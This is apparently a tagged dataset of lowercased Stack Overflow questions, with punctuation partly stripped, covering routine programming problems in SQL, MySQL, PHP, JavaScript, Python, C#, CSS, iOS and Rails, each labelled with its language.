consolidating two tables in sql using merge  i have a problem where i am trying to merge and consolidate data from one table to another table.    the source and destination tables are identical except the destination needs to have a primary key on the first column.    the data input and desired results are follows:    <pre><code>data in        desired results     c1 c2 c3       c1   c2    c3   +--+--+--+    +--+------+------+    1  a  x       1  a b c  x y    2  b  z       2  b c    z    3  a  z       3  a      z x y     1  a  y      +--+------+------+    3  a  y     1  b  x       2  c  z       1  c  x       3  a  x     1  a  x    +--+--+--+  </code></pre>   i initialize the tables...    <pre><code>create table s (c1 char(2)  c2 char(8)  c3 char(8))  insert into s values    ( 1   a   x )  ( 2   b   z )  ( 3   a   z )     ( 1   a   y )  ( 3   a   y )  ( 1   b   x )     ( 2   c   z )  ( 1   c   z )  ( 3   a   x )     ( 1   a   x )  create table d (c1 char(2) primary key  c2 char(8)  c3 char(8)) </code></pre>   i can get it to work using cursor...   <pre><code>declare @c1 char(2) declare @c2 char(8) declare @c3 char(8)  declare cur cursor for select c1  c2  c3 from s open cur fetch next from cur into @c1  @c2  @c3 while @@fetch_status = 0 begin    update d set      c2 = (case when charindex(rtrim(@c2)  c2) &gt; 0 then c2 else substring(rtrim(c2) +     + @c2  1  8) end)      c3 = (case when charindex(rtrim(@c3)  c3) &gt; 0 then c3 else substring(rtrim(c3) +     + @c3  1  8) end)     where c1 = @c1   if @@rowcount = 0   begin     insert into d (c1  c2  c3)        values (@c1  @c2  @c3)   end   fetch next from cur into @c1  @c2  @c3 end close cur deallocate cur </code></pre>   but i cannot get merge to work...<br> <em>error: violation of primary key constraint  pk__d__3213663b03bb8e22 . cannot insert duplicate key in object  dbo.d . the duplicate key value is (1 ).</em>     <pre><code>merge into d using s    on (s.c1 = d.c1)   when matched then      update set        c2 = (case when charindex(rtrim(s.c2)  d.c2) &gt; 0 then d.c2 else substring(rtrim(d.c2) +     + s.c2  1  8) end)        c3 = (case when charindex(rtrim(s.c3)  d.c3) &gt; 0 then d.c3 else substring(rtrim(d.c3) +     + s.c3  1  8) end)   when not matched then     insert (c1  c2  c3) values (s.c1  s.c2  s.c3); </code></pre>   is there a way to do this with a little more grace than going row by row       thanks for the help!,sql
can t add a generated column  i have a price column (decimal 6 2) in my mysql products myisam table and i m trying to add a generated column to multiply it per 2. i m trying to use this:   <pre><code>alter table produtos add column price_double decimal(6 2) as (price*2); </code></pre>   but i m getting this in heidisql:   <blockquote>    error sql (1064): you have an error in your sql syntax; check the   manual that corresponds to your mysql server version for the right   syntax to use near  as (preco*2)  at line 1  </blockquote>   i don t know what to do. really...    my mysql s version is 5.5.51-38.2,mysql
what is the difference between returning a pointer to a calloced int and returning the address of a initialized int in a function   i m interested the difference between these two scenarios:   <pre><code>int *function() {     int i = 5;      return &amp;i; } </code></pre>   and    <pre><code>int *function() {     int *i = calloc(1  sizeof(int));     *i = 5;      return i; } </code></pre>   is there a difference  if so  can someone explain what is going on in the background,c
javascript array.prototype.map not behaving as expected  when i try to use javascript s map with parseint (<a href= https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/array/map  rel= nofollow >https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/array/map</a>)  only the first element appears to call the callback correctly.   <pre><code>version =  10.9.8.11.11 ; v = version.split( . ); vp = [];  for (var i = 0; i &lt; 5; i++) {     vp[i] = parseint(v[i]); }  alert(vp +  \n  + v.map(parseint) +  \n );  </code></pre>   gives   <pre> 10 9 8 11 11 10 nan nan 4 5</pre>   as seen here: <a href= http://jsfiddle.net/69wpb/  rel= nofollow >http://jsfiddle.net/69wpb/</a>    what am i doing wrong  i get the same behavior in chrome and firefox on ubuntu and windows.,javascript
php get and request are not working  i have a strange problem on a script php.    using a search form i have categorie and city.    i get this using  var_dump($_request); or get   <pre><code>array(4) {     [ q ]=&gt; string(0)        [ categorie ]=&gt; string(1)  2      [ city ]=&gt; string(1)  1      [ phpsessid ]=&gt; string(32)  81cce71a1ffe8e7793366b06e15225fc  } </code></pre>   on my php code i have   <pre><code>$categorie = mysql_real_escape_string($_get[ categorie ]); $city= mysql_real_escape_string($_get[ city ]); </code></pre>   also tried request   <pre><code>$categorie = mysql_real_escape_string($_request[ categorie ]); $city= mysql_real_escape_string($_request[ city ]); </code></pre>   but if i do   <pre><code>echo $categorie;  echo $city; </code></pre>   i don t get any result.    is there any explanation for this,php
mysql link columns using primary key  i have two tables  aircraft  and flights. aircraft contains detailed information on each aircraft that has been detected. flights has a column that is  aircraftid  which is also in aircraft. in flights  i need to populate  icao  with the data from  modes  from aircraft.   <pre><code>aircaft  + aircraftid +  icao + other data +  |     1      | test  |  *data*    |  +---------------------------------+   flights  + aircraftid +  icao + other data +  |     1      |       |  *data*    |  +------------+-------+------------+  select * from flights; +--------&gt;  1 test *data* #expected output </code></pre>   hopefully all this makes sense. thanks in advance,mysql
how order a multidimensional array for multiple key  <pre><code>how order an array so structured for [name] and to parity of [name] for [age]        [0] =&gt; array         (             [name] =&gt; mary             [age] =&gt; 32         )      [1] =&gt; array         (             [name] =&gt; mary             [age] =&gt; 31         )      [2] =&gt; array         (             [name] =&gt; anna             [age] =&gt; 30         )  output:   name | age ---------- anna | 30 mary | 31 mary | 32 </code></pre>   this is code:   <pre><code>function sort(&amp;$array) {   function build_sorter($key) {     return function ($a  $b) use ($key) {        return strnatcmp($a[$key]  $b[$key]);      };   }   usort($array  build_sorter([ name ]));               usort($array  build_sorter([ age ]));          } </code></pre>,php
how to determine an id on python   how to determine an id on python     i heard that the same strings have the same ids like below:   <pre><code>&gt;&gt;&gt;list1=[1 2  aaa   bbb ] &gt;&gt;&gt;list2=[3 4  aaa   bbb ] &gt;&gt;&gt;id(list1[2]) 12345 &gt;&gt;&gt;id(list2[2]) 12345 </code></pre>   but the following case does not hold the rule:   <pre><code>&gt;&gt;&gt;list1=[1 2  hello world   bbb ] &gt;&gt;&gt;list2=[3 4  hello world   bbb ] &gt;&gt;&gt;id(list1[2]) 12345 &gt;&gt;&gt;id(list2[2]) 12367 </code></pre>   how are they different from each other    <h2>added</h2>  <pre><code>python 2.7.5 (default  mar  9 2014  22:15:05) [gcc 4.2.1 compatible apple llvm 5.0 (clang-500.0.68)] on darwin type  help    copyright    credits  or  license  for more information. &gt;&gt;&gt; list1 = [1  2   aaa    bbb ] &gt;&gt;&gt; list2 = [2  3   aaa    bbb ] &gt;&gt;&gt; id(list1[2]) 4511557072 &gt;&gt;&gt; id(list2[2]) 4511557072 &gt;&gt;&gt; list3 = [1  2   hello world    bbb ] &gt;&gt;&gt; list4 = [2  3   hello world    bbb ] &gt;&gt;&gt; id(list3[2]) 4511542272 &gt;&gt;&gt; id(list4[2]) 4511542368 </code></pre>,python
access 2003 sql syntax error in join message  i am new at coding in sql for access 2003 and i am having a problem showing a additional column called action which is shown on the tledgers table. i am recieving a syntax error message but i am not sure why     <strong>below is the code snippet causing the issue</strong>    from (tdailyentries inner join tdailyentries on tledgers.action = tdailyentries.actionno)    <strong>below is the full code</strong>   <pre><code>select distinct tprojects.cc_io as projectno  year([datefrom]) &amp;   accrual   &amp; monthname(month([datefrom])) &amp;   -  +[companyname] &amp;   (  +([lastname]) &amp;  )  as [line/item/text]  tusers.lastname as last_name   tdailyentries.userid as userid   contractordailyrate as dailyrate   contractordailyhours as hours   round(contractordailyrate / contractordailyhours  2) as hourlyrate  round(sum(tdailyentries.calculateddailyhours)  2) as monthlyhours   round((hourlyrate * monthlyhours)  2) as charge   round(charge+round((charge*0.2) 2) 2) as accruals  tprojects.project as project from (tdailyentries inner join tdailyentries on tledgers.action = tdailyentries.actionno) from (tprojecttype  right join tprojects on tprojecttype.projecttypeid = tprojects.projecttypeid)  right join (textcontractor  right join (ttitle  right join (((tlocation  right join (tdepartments  right join tusers  on tdepartments.deptid = tusers.deptid)  on tlocation.locationid = tusers.locationid)  right join (((tdailyentries  left join tdepartments as tdepartments_1  on tdailyentries.deptcharged = tdepartments_1.deptshortname)  left join tactions on tdailyentries.actionno = tactions.actionid)  left join tlookups  on tdailyentries.zone = tlookups.lookupid)  on tusers.userid = tdailyentries.userid)  left join textmain  on tusers.userid = textmain.userid)  on ttitle.titleid = tusers.titleid)  on textcontractor.companyid = textmain.contractorcompany)  on tprojects.projectid = tdailyentries.projectno where ttitle.titleid = 37  and month([datefrom]) = monthnum  and day([datefrom]) &lt;21 group by tprojects.cc_io  year([datefrom]) &amp;   accrual   &amp; monthname(month([datefrom])) &amp;   -  +[companyname] &amp;   (  +([lastname]) &amp;  )   tusers.lastname  tdailyentries.userid  textmain.contractordailyrate   month([datefrom])  textmain.contractordailyhours  tprojects.project; </code></pre>   please see my updated code below   <pre><code>select distinct tprojects.cc_io as projectno  year([datefrom]) &amp;   accrual   &amp; monthname(month([datefrom])) &amp;   -  +[companyname] &amp;   (  +([lastname]) &amp;  )  as [line/item/text]  tusers.lastname as last_name   tdailyentries.userid as userid   contractordailyrate as dailyrate   contractordailyhours as hours   round(contractordailyrate / contractordailyhours  2) as hourlyrate  round(sum(tdailyentries.calculateddailyhours)  2) as monthlyhours   round((hourlyrate * monthlyhours)  2) as charge   round(charge+round((charge*0.2) 2) 2) as accruals  tprojects.project as project from (tdailyentries inner join tledgers  on tledgers.action = tdailyentries.actionno) from (tprojecttype  right join tprojects on tprojecttype.projecttypeid = tprojects.projecttypeid)  right join (textcontractor  right join (ttitle  right join (((tlocation  right join (tdepartments  right join tusers  on tdepartments.deptid = tusers.deptid)  on tlocation.locationid = tusers.locationid)  right join (((tdailyentries  left join tdepartments as tdepartments_1  on tdailyentries.deptcharged = tdepartments_1.deptshortname)  left join tactions on tdailyentries.actionno = tactions.actionid)  left join tlookups  on tdailyentries.zone = tlookups.lookupid)  on tusers.userid = tdailyentries.userid)  left join textmain  on tusers.userid = textmain.userid)  on ttitle.titleid = tusers.titleid)  on textcontractor.companyid = textmain.contractorcompany)  on tprojects.projectid = tdailyentries.projectno where ttitle.titleid = 37  and month([datefrom]) = monthnum  and day([datefrom]) &lt;21 group by tprojects.cc_io  year([datefrom]) &amp;   accrual   &amp; monthname(month([datefrom])) &amp;   -  +[companyname] &amp;   (  +([lastname]) &amp;  )   tusers.lastname  tdailyentries.userid  textmain.contractordailyrate   month([datefrom])  textmain.contractordailyhours  tprojects.project; </code></pre>   updated code 2   <pre><code>select distinct tprojects.cc_io as projectno  year([datefrom]) &amp;   accrual   &amp; monthname(month([datefrom])) &amp;   -  +[companyname] &amp;   (  +([lastname]) &amp;  )  as [line/item/text]  tusers.lastname as last_name   tdailyentries.userid as userid   contractordailyrate as dailyrate   contractordailyhours as hours   round(contractordailyrate / contractordailyhours  2) as hourlyrate  round(sum(tdailyentries.calculateddailyhours)  2) as monthlyhours   round((hourlyrate * monthlyhours)  2) as charge   round(charge+round((charge*0.2) 2) 2) as accruals  tprojects.project as project from (tdailyentries inner join tledgers on tledgers.action = tdailyentries.actionno) inner join (tprojects on tprojecttype.projecttypeid = tprojects.projecttypeid right join (textcontractor  right join (ttitle  right join (((tlocation  right join (tdepartments  right join tusers  on tdepartments.deptid = tusers.deptid)  on tlocation.locationid = tusers.locationid)  right join (((tdailyentries  left join tdepartments as tdepartments_1  on tdailyentries.deptcharged = tdepartments_1.deptshortname)  left join tactions on tdailyentries.actionno = tactions.actionid)  left join tlookups  on tdailyentries.zone = tlookups.lookupid)  on tusers.userid = tdailyentries.userid)  left join textmain  on tusers.userid = textmain.userid)  on ttitle.titleid = tusers.titleid)  on textcontractor.companyid = textmain.contractorcompany)  on tprojects.projectid = tdailyentries.projectno where ttitle.titleid = 37  and month([datefrom]) = monthnum  and day([datefrom]) &lt;21 group by tprojects.cc_io  year([datefrom]) &amp;   accrual   &amp; monthname(month([datefrom])) &amp;   -  +[companyname] &amp;   (  +([lastname]) &amp;  )   tusers.lastname  tdailyentries.userid  textmain.contractordailyrate   month([datefrom])  textmain.contractordailyhours  tprojects.project; </code></pre>,sql
exit from click handler  how do you exit from an event    <pre><code>$( .more ).click(function() {    if (condition1) {       if (condition2) {          // abort  exit completely out of click handler       ... </code></pre>,javascript
removing punctuations from list items using python <pre><code>from glob import glob pattern =  d:\\report\\shakeall\\*.txt  filelist = glob(pattern) def countwords(fp):     with open(fp) as fh:         return len(fh.read().split()) print  there are   sum(map(countwords  filelist))   words in the files.    from directory  pattern import os import re import string uniquewords = set([]) for root  dirs  files in os.walk( d:\\report\\shakeall ):     for name in files:         [uniquewords.add(x) for x in open(os.path.join(root name)).read().split()] wordlist = list(uniquewords) </code></pre>   this code counts the total number of unique and total words. however  the problem is  if i write len(uniquewords)   it shows unreasonable number because it recognizes for example   shake   shake!   shake   and  shake   as different unique words. i ve tried to remove punctuations from uniquewords by making the list and modifying it  everything failed. can anybody help me,python
i want to draw a line and fill it with a repeating image in objective c  i don t need code  just a starting point. i have a drawing app on ipad where you draw a line from point a to point b. between the 2 points the line is replaced with a repeating image.!,objective-c
reference to indexoutofboundsexception is ambiguous  error:    reference to indexoutofboundsexception is ambiguous  both class com.sun.star.lang.indexoutofboundsexception in com.sun.star.lang and class java.lang.indexoutofboundsexception in java.lang match    code:   <pre><code>public void insertintocell(int cellx  int celly  string thevalue                                xspreadsheet tt1                                string flag) throws indexoutofboundsexception {      xcell ocell = null;     ocell = tt1.getcellbyposition(cellx  celly);      if (flag.equals( v )) {       ocell.setvalue((new float(thevalue)).floatvalue());     } else {       if (thevalue!=null &amp;&amp; thevalue.length()&gt;0 &amp;&amp; thevalue.length()!=0) {            ocell.setformula(   +(string)thevalue.tostring());       } else {           ocell.setformula((string)thevalue.tostring());       }     }   } </code></pre>,java
how to remove back button action while page is loading  in my project i have a list when select on a item it will take to next controller using pushviewcontroller. when i go there i will get data using libxml parser. but when i am clicking on the back button while loading it is showing exception. so i want to disable back button action till loading of data is completed how can i handle it.    thank you,iphone
sql breaking up an int and multiplying each digit  if i have the following as an int 1234 and have broken it up into 1 2 3 4 how could i make it so that they will be separated and be able to multiply them for example 1 × 3  2× 5  3×3  4×5 having the pattern of 3 5 not taking into account if they are even or odd.,sql
checking to see if file exist after it is downloaded from server  i m fairly new to c# programming so do excuse me if i m not putting this across correctly.     i am writing a c# app which uses client/server communication via tcp/ip. i pass certain parameters through to get a file from the server which is running on another machine (client and server are both on same network).     i can manage to get the file without a problem. however  once i have received the file i want the client to check in the directory  and send a message back to the server if the file exist. if it does not  run the method which gets the file.    <pre><code>void checkfile()  {     string filelocation =  c:\ ;     if (file.exists(filelocation))     {         console.writeline( file exist );     }     else     {         // what do i put here      } }  void main()  {    string fname =  /test.txt    //creating streamwriter object to send messages to server     streamwriter writer = new streamwriter(serverstream);     writer.autoflush = true;     writer.writeline(fname);//sends the file name to the server } </code></pre>   in the main method i use <code>streamwriter</code> to send messages across to server. main method also gets the file from the server.,c#
is there any broadcastreceiver to trigger my app in ios when the app is not running   i need broadcastreceiver that to check changing internet connection and then trigger app for i̇os app . it always runs like android .i tried nsnotificationcenter with reacable library.but it only works when app is active  or background.it doesnt work whe application is not running.what am i do  is there any  way for do this,ios
display the student details who borrowed books of more than one author  borrow table with    <pre><code>studentnumber  bookid   </code></pre>   book table   <pre><code>bookid  authorid </code></pre>   student table   <pre><code>stdentnumber studentname  branchid </code></pre>   branch table   <pre><code>branchid   branchname </code></pre>   i am using oracle 11g. display the student details who borrowed books of more than one author,sql
mobile safari video question  i m playing with the iphone s safari html5 <code>&lt;video&gt;</code> tag and i was wondering if there s a way to programmatically quit fullscreen mode once the video is done playing     you start fullscreen mode using the play()-function  but how do you end it     thanks in advance  thomas,iphone
how to get ios to ask users whether they want to allow application to use their location everytime   if we try to access the user s location  ios will tell the user that our application wants to use their location.    if i do this   <pre><code>[locationmanager startupdatinglocation]; </code></pre>   an alert will show.    however  that only happens once.     it looks like some variable or default must have been set up once that display pops out.    how do i reset those default so that next time my app wants to use location users will be asked again     google map can displays that again and again.,ios
mysql is outputting html-like text to the shell  i log into mysql like normal but whenever i enter a command such as describing a table:     <pre><code>describe status_types; </code></pre>   i get text back that is markup-ish  like an html table instead of the usual text table.<br>     <code>&lt;table border=1&gt;&lt;tr&gt;&lt;th&gt;field&lt;/th&gt;&lt;th&gt;type&lt;/th&gt;&lt;th&gt;null&lt;/th&gt;&lt;th&gt;key&lt;/th&gt;&lt;th&gt;default&lt;/th&gt;&lt;th&gt;extra&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;status_type&lt;/td&gt;&lt;td&gt;varchar(32)&lt;/td&gt;&lt;td&gt;no&lt;/td&gt;&lt;td&gt;pri&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;pic_url&lt;/td&gt;&lt;td&gt;varchar(128)&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;null&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;2 rows in set (0.01 sec)</code>      i suspect that it could have something to do with the shell not rendering it correctly. i am<br> using bash.<br> has this happened to anyone else,mysql
i have problem with sharing a folder through programming using c#   here is my code it shares the folder but that does not work correctly when i want to access it   it shows access denied help required    <pre><code>private static void sharefolder(string folderpath  string sharename  string description)     {         try         {             // create a managementclass object             managementclass managementclass = new managementclass( win32_share );             // create managementbaseobjects for in and out parameters             managementbaseobject inparams = managementclass.getmethodparameters( create );             managementbaseobject outparams;             // set the input parameters             inparams[ description ] = description;             inparams[ name ] = sharename;             inparams[ path ] = folderpath;             inparams[ type ] = 0x0; // disk drive             //another type:             //disk_drive = 0x0;             //print_queue = 0x1;             //device = 0x2;             //ipc = 0x3;             //disk_drive_admin = 0x80000000;             //print_queue_admin = 0x80000001;             //device_admin = 0x80000002;             //ipc_admin = 0x8000003;             //inparams[ maximumallowed ] = int maxconnectionsnum;             // invoke the method on the managementclass object             outparams = managementclass.invokemethod( create   inparams  null);             // check to see if the method invocation was successful              if ((uint)(outparams.properties[ returnvalue ].value) != 0)             {                 throw new exception( unable to share directory. because directory is already shared or directory not exist );             }//end if          }//end try         catch (exception ex)         {             messagebox.show(ex.message   error! );         }//end catch     }//end method </code></pre>,c#
asp.net: dynamically load web user control  i have a asp.net web page with place holder control and menu control when user select an item from the menu. it will dynamically load the control based on menu item s value.    i got the control loaded but if i click on the a link button or anything on the web user control (.ascx) the web user control (.ascx) will disappear. i do not know what is causing this. can someone take a look at my code and see what i m missing    <pre><code>protected sub menu1_click(byval sender as object  byval e as eventargs)      select case me.menu1.selectedvalue         case  custmastermain              dim cccustmastermaint as usercontrol = ctype(page.loadcontrol( ~/controls/franchise/custmastermaintcontrol.ascx )  usercontrol)             me.phholder1.controls.add(cccustmastermaint)         case  acctrecinq              dim ccacctrecinq as usercontrol = ctype(page.loadcontrol( ~/controls/franchise/custaccountsreceivableinquiry.ascx )  usercontrol)             me.phholder1.controls.add(ccacctrecinq)     end select  end sub </code></pre>,asp.net
css menu starts from center and continues to the right  i have the following css menu  which starts from the middle and continues on to the right. meaning that cream color bar continues on to the end of the page. tried searching  but wasn t able to find a solution  perhaps not possible  <img src= https://i.stack.imgur.com/h1zve.jpg  alt= enter image description here > the html i got:   <pre><code>&lt;header&gt;                     &lt;nav class= splash-menu &gt;                         &lt;ul class= splash-nav &gt;                             &lt;li class= why-splash &gt;why us&lt;/li&gt;                             &lt;li class= dealer-splash &gt;dealer login&lt;/li&gt;                         &lt;/ul&gt;                         &lt;div class= clearfix &gt;&lt;/div&gt;                     &lt;/nav&gt;                 &lt;/header&gt; </code></pre>   the css:   <pre><code>.splash-nav{     list-style: none;     margin: 0;     padding: 0;     background: #0b3543; } .splash-nav li{     float: left;     height: 60px; } .splash-menu{     float:left;    width:100%;    overflow:hidden;    position:relative; } .splash-menu ul {    clear:left;    float:left;    list-style:none;    margin:0;    padding:0;    position:relative;    left:75%;    text-align:center; } .splash-menu ul li {    display:block;    float:left;    list-style:none;    margin:0;    padding:0;    position:relative;    right:50%; } .splash-menu ul li a {    display:block;    margin:0 0 0 1px;    padding:3px 10px;    text-decoration:none;    line-height:1.3em; } </code></pre>,css
what is the difference between system.drawing.color and system.windows.media.color   basically  why the need for two abstractions of a pretty simple concept,.net
"css :before  why are my shapes not on top of each other  i would like to use the css <code>:before</code> selector to create a copy of my current div styles  and overlay it on top of my initial <code>div</code>. but i am unable to do this  without changing the <code>:before</code> position.    why does this happen  and how can i assure that the position of these two is always the same     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.example {
   margin: 100px;
   height: 100px;
   width: 100px;
   background-color: transparent;
   border: 5px solid red;
   border-radius: 50%;
   border-right-color: transparent;
   display: block;
 }
 
 .example:before {
   content:   ;
   display: block;
   border: 5px solid yellow;
   width: 100px;
   height: 100px;
   background-color: transparent;
   border-right-color: transparent;
   border-radius: 50%;
 
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= example /&gt;</code></pre>
 </div>
 </div>",css
ui-sref and ui-view angular ui-router  if user is not registered  register. i want to show registration form using ui-sref and ui-view.    included <strong>scripts</strong> :    <pre><code>&lt;script src= node_modules/angular/angular.js &gt;&lt;/script&gt; &lt;script src= node_modules/angular-ui-router/build/angular-ui-router.min.js &gt;&lt;/script&gt; &lt;script src= app/app.js &gt;&lt;/script&gt; &lt;script src= app/signup/signup-controller.js &gt;&lt;/script&gt; </code></pre>   in the app.js defined <strong>state</strong>   <pre><code>(function () {   angular.module( timewaste   [ ui.router ])   .config(function($stateprovider){     $stateprovider       .state( signup   {         url :  /signup           templateurl :  app/signup/signup.html           controller :  signupcontroller        })   }) }()); </code></pre>   then i have this html code in my <strong>index.html</strong>   <pre><code>&lt;nav class= navbar navbar-default navbar-fixed-top &gt;     &lt;div class= container &gt;       &lt;div&gt;         &lt;input type= text  ng-model= login.email &gt;         &lt;input type= text  ng-model= login.password &gt;         &lt;button&gt;login&lt;/button&gt;         &lt;a ui-sref= signup &gt;create&lt;/a&gt;        &lt;/div&gt;     &lt;/div&gt;   &lt;/nav&gt;    &lt;div ui-view&gt;&lt;/div&gt; </code></pre>   link is disabled  a view not loads.... some help,angularjs
how to import data from excel sheet to data table in c#   i have three four columns in excelsheet such as firstname  lastname  email phone no also.    i am using asp.net with c#.    i need to import data from excel sheet to datatable in asp.net with c#.    i have 100000 records in excel sheet. how to use  while upload excel sheet     if any one knows that  please let me know.    thanks.,asp.net
insert one column from file  and fill other columns  i have one column in a file line by line  and i want to insert into into the mysql table.     i also want to ignore rows where the value already exist  and the table has more columns - i want to insert some values into them either.    how can i do that     i have the following sql:   <pre><code>load data infile  /home/sample.txt  ignore into table  table  character set utf8; </code></pre>   it will ignore existing lines  but i also want to add now() as second s column value  and null as third s.    how can i do that,mysql
how to set song as an alarm in iphone  i want to set any song in my iphone as an alarm tone. how will i access my songs and set it as an alarm  and can i increase the time of alarm more than 40 secs  i mean i want to play full song as an alarm tone. thanks,iphone
ruby on rails - drop down list from model  i would like to create a drop down list with ruby on rails from the model  company  which has a item call  name . i would like to length of the dropdown list to be as long as company.count (dynamic)    for example for 3 element in  company :   <pre><code> &lt;%= f.select :company_brand  [[company.find(1).name  company.find(1).id] [company.find(2).name  company.find(2).id] [company.find(3).name  company.find(3).id]]%&gt; </code></pre>,ruby-on-rails
making website in large database  i going to develop travel website like  in .net application . database is assume big so what kind of architecture using in application . i plan for . client requirement is website need to faster and secure.,.net
easyapns configuration  hey i m building an app on ios and want to implement pushnotifications. i am using the easyapns code from <a href= https://github.com/manifestinteractive/easyapns  rel= nofollow >https://github.com/manifestinteractive/easyapns</a>  when configuring it  i have to obviously add my mysql-database information in the db_connect php file. i am not good with php  so i don t really have a clue here as to how exactly i have to enter my information in the file because in the tutorials i va watched the file always looked different. can you guys give me any guidance as to how to proceed  thnaks  oengelha.    here the code snippet:   <pre><code>/**     * constructor. initializes a database connection and selects our database.     * @param string $host       the host to wchich to connect.     * @param string $username   the name of the user used to login to the database.     * @param string $password   the password of the user to login to the database.     * @param string $database   the name of the database to which to connect.     */     function __construct($host  $username  $password  $database)     {         $this-&gt;db_host     = $host;         $this-&gt;db_username = $username;         $this-&gt;db_password = $password;         $this-&gt;db_database = $database;     } </code></pre>,ios
how to organise shared partials in rails 3  i m curious as to how people organise their shared partials in this specific case. in my application  an index of listings can be displayed at either /listings or /users/:id/listings urls.  essentially either seeing all listings or my listings.    both of the associated views /app/views/listings/index.html.haml and /app/views/users/listing/index.html.haml currently share a partial that does the bulk of the rendering.  really everything but the title  heading  a back link  and some text if there are no listings.    where would you locate this partial.  i m torn between keeping it close to the main listing resource and also noting that it is shared a bit more widely...,ruby-on-rails
get distinct values from a comma-delimited column in a mysql table   i have a column in a mysql table that consists of comma-delimited strings. i would like to convert this column into a set of distinct strings that occur in the column (for any row in the table -- the set includes strings that occur in any row of the table in this column). what is the easiest way to accomplish this     the solution doesn t need to be pure mysql. it could involve unix  perl  etc.,mysql
html required only apply to one form  i have an html page with two forms  one for signup and one for login  i have made all fields required  but i want to make it so  the signup fields only are required  when you sign up  and the login fields only are required one you login.    here is my code snippet:   <pre><code>&lt;body&gt; &lt;form name= register  action= frontcontroller  method= post  style= border:1px solid #ccc &gt;  &lt;div class= container &gt; &lt;h1&gt;sign up&lt;/h1&gt;     &lt;p&gt;please fill in this form to create an account.&lt;/p&gt;      &lt;hr&gt;  &lt;label for= email &gt;&lt;b&gt;email&lt;/b&gt;&lt;/label&gt; &lt;input type= text  placeholder= enter email  name= email  required&gt;  &lt;label for= email &gt;&lt;b&gt;postnummer&lt;/b&gt;&lt;/label&gt; &lt;input type= text  placeholder= skriv dit postnummer  name= postnummer  required&gt;  &lt;label for= email &gt;&lt;b&gt;postnummer&lt;/b&gt;&lt;/label&gt; &lt;input type= text  placeholder= skriv dit postnummer  name= postnummer  required&gt;  &lt;label for= email &gt;&lt;b&gt;adresse&lt;/label&gt; &lt;input type= text  placeholder= skriv din adresse  name= adresse  required&gt;  &lt;label for= email &gt;&lt;b&gt;telefonnummer&lt;/b&gt;&lt;/label&gt; &lt;input type= text  placeholder= skriv dit telefonnummer  name= phonenr  required&gt;  &lt;label for= psw &gt;&lt;b&gt;password&lt;/b&gt;&lt;/label&gt; &lt;input type= password  placeholder= enter password  name= psw  required&gt;  &lt;label for= psw-repeat &gt;&lt;b&gt;repeat password&lt;/b&gt;&lt;/label&gt; &lt;input type= password  placeholder= repeat password  name= psw-repeat  required&gt;  &lt;label&gt;   &lt;input type= checkbox  checked= checked  name= remember  style= margin-bottom:15px &gt; remember me &lt;/label&gt;   &lt;div class= container &gt; &lt;h1&gt;login&lt;/h1&gt; &lt;hr&gt;  &lt;label for= email &gt;&lt;b&gt;email&lt;/b&gt;&lt;/label&gt; &lt;input type= text  placeholder= enter email  name= email  required&gt;  &lt;label for= psw &gt;&lt;b&gt;password&lt;/b&gt;&lt;/label&gt; &lt;input type= password  placeholder= enter password  name= psw  required&gt;   &lt;p&gt;by creating an account you agree to our &lt;a href= #  style= color:dodgerblue &gt;terms &amp; privacy&lt;/a&gt;.&lt;/p&gt;  &lt;div class= clearfix &gt;   &lt;button type= submit  class= loginbtn  value= submit &gt;login&lt;/button&gt;   &lt;button type= submit  class= signupbtn  value = submit &gt;login&lt;/button&gt; &lt;/div&gt; </code></pre>   is this in any way possible,html
move dropzone preview template before uploading  i use dropzone for upload files. but i want to know is there possible to group the preview template before uploading process success  now i only know to move  file.previewelement  after file uploaded. but the problem is  when upload in progress  the file is out from the box because the file is not moving yet. this is my code on success:   <pre><code>success : function (file  data) {         var type = file.type.split( / );         var filetype = checkfiletype(file.name);          if(type[0] ===  image ){ //if filetype image move to image div               $( #fieldfile ).find( .file-upload-image ).prepend(file.previewelement);                               }else{ //if others move to document div              $( #fieldfile ).find( .file-upload-document ).prepend(file.previewelement);         }                        } </code></pre>   any help would be very much appreciated. thanks.,jquery
webpage display same as code  i m very new to javascript and html but i wondered if there was a way you could make your webpage display the same way as your code. such as if you had something like this:   <pre><code>&lt;html&gt; &lt;body&gt; &lt;input type= button  value= text &gt; &lt;b&gt;hello world               hello&lt;b&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   is there some sort of code i can put in to make it display just like that on the webpage. when i try it there aren t that many spaces between the world and hello.,html
select only the main url in php <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3442333/php-regex-get-domain-from-url >php regex: get domain from url</a>    </blockquote>     i am working on a project and it need to select only main url such as from <a href= http://domain.com/link/project/domain/index.php  rel= nofollow noreferrer >http://domain.com/link/project/domain/index.php</a> i need to select only <a href= http://domain.com  rel= nofollow noreferrer >domain.com</a>,php
css:defining styles for input elements inside a div  i have a div called  divcontainer  inside which i have few input elements like textboxes radio buttons et.. how can i define the style for then in the css   i wanna mention styles for elements inside this purticular div.not for the entire form.     ex: for textboxes i need width as 150px;     for radio buttons i need width of 20px;,css
datefromstring day month year in plain text <pre><code>  nsdateformatter *dateformat = [[nsdateformatter alloc] init]; [dateformat setdateformat:@ dd-mm-yyyy ]; nsdate *dateinitial = [dateformat datefromstring:self.labeldateinitial.text]; nsdate *dateend = [dateformat datefromstring:self.labeldateend.text]; nslog(@ %@   dateinitial); nslog(@ %@   dateend); </code></pre>   why i receive null value for both dateinitial and dateend      in label date is in plain text    nine november 2012    is it correct dd-mm-yyyy,objective-c
does serializable hamper performance   i recently changed the session state to use sql server and then realized not all my entities were serializable.    now trying to find out which entities are being put in session throughout the code seems to be a big pain  so i was thinking why not make all of them serializable      will this have any performance hit  why are classes not marked as serializable by default,c#
